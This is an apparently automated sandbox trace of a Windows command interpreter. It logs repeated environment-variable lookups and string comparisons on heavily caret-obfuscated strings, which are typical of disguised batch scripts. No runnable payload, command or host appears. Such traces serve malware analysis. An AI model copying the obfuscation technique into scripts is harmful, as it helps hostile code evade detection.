	[0056.124] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="ERRORLEVEL") returned -7
	[0056.124] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="CMDEXTVERSION") returned -5
	[0056.124] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="CMDCMDLINE") returned -5
	[0056.124] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="DATE") returned -6
	[0056.124] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="TIME") returned -22
	[0056.124] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="RANDOM") returned -20
	[0056.124] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.124] GetEnvironmentVariableW (in: lpName="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.124] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="CD") returned -5
	[0056.124] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="ERRORLEVEL") returned -7
	[0056.124] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="CMDEXTVERSION") returned -5
	[0056.124] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="CMDCMDLINE") returned -5
	[0056.124] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="DATE") returned -6
	[0056.124] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="TIME") returned -22
	[0056.124] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="RANDOM") returned -20
	[0056.124] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.124] GetEnvironmentVariableW (in: lpName="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.125] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="CD") returned -5
	[0056.125] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="ERRORLEVEL") returned -7
	[0056.125] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="CMDEXTVERSION") returned -5
	[0056.125] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="CMDCMDLINE") returned -5
	[0056.125] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="DATE") returned -6
	[0056.125] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="TIME") returned -22
	[0056.125] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="RANDOM") returned -20
	[0056.125] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.125] GetEnvironmentVariableW (in: lpName="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.125] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="CD") returned -5
	[0056.125] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="ERRORLEVEL") returned -7
	[0056.125] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="CMDEXTVERSION") returned -5
	[0056.125] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="CMDCMDLINE") returned -5
	[0056.125] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="DATE") returned -6
	[0056.125] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="TIME") returned -22
	[0056.125] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="RANDOM") returned -20
	[0056.125] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.126] GetEnvironmentVariableW (in: lpName="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.126] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="CD") returned -5
	[0056.126] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.126] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.126] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.126] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="DATE") returned -6
	[0056.126] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="TIME") returned -22
	[0056.126] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="RANDOM") returned -20
	[0056.126] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.126] GetEnvironmentVariableW (in: lpName="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.126] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="CD") returned -5
	[0056.126] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.126] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.126] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.126] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="DATE") returned -6
	[0056.126] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="TIME") returned -22
	[0056.126] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="RANDOM") returned -20
	[0056.126] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.126] GetEnvironmentVariableW (in: lpName="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.126] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="CD") returned -5
	[0056.126] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.127] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.127] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.127] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="DATE") returned -6
	[0056.127] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="TIME") returned -22
	[0056.127] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="RANDOM") returned -20
	[0056.127] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.127] GetEnvironmentVariableW (in: lpName="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.127] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="CD") returned -5
	[0056.127] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.127] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.127] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.127] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="DATE") returned -6
	[0056.127] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="TIME") returned -22
	[0056.127] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="RANDOM") returned -20
